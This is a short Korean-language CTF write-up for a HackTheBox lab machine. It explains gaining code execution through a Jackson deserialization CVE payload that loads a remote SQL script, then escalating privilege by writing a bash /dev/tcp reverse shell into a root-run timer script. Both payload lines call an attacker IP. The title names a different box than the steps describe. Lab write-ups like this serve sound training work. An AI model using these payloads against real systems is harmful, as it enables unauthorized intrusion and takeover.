HTB-Devzat Write up
golang, git-dumper
JSON beautiful 페이지 발견 JSON 데이터 입력결과 validator 기능에서 에러를 발생
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
오류 구문 검색 결과 jackson을 사용하는것을 확인 가능
jackson exploit 결과 2019 cve 코드에서 SSRF 를 통한 RCE 공격방법 획득
poc에 나와있는대로 공격 구문을 입력 시 정상적으로 작동하는것을 확인 가능
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]
inject.sql 파일을 작성하여 ping 명령어 실행 코드를 입력 후 tcpdump를 통해 패킷을 캡쳐하면 정상적으로 핑이 도착하는것을 확인가능
리버스쉘 명령어를 입력하여 쉘 획득 가능
linpeas.sh 를 통해 timer_backup.timer 파일이 계속 실행되는것을 알 수있음 (pspy를 통해서도 확인 가능)
해당 파일 확인 결과 아래의 파일을 연계하여 최종적으로 timer_backup.sh 파일 실행
파일 확인결과 아래의 명령어를 주기적으로 실행
해당 sh파일에 리버스쉘 코드 입력하여 리버스쉘 획득 가능
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9002 0>&1'" > /usr/bin/timer_backup.sh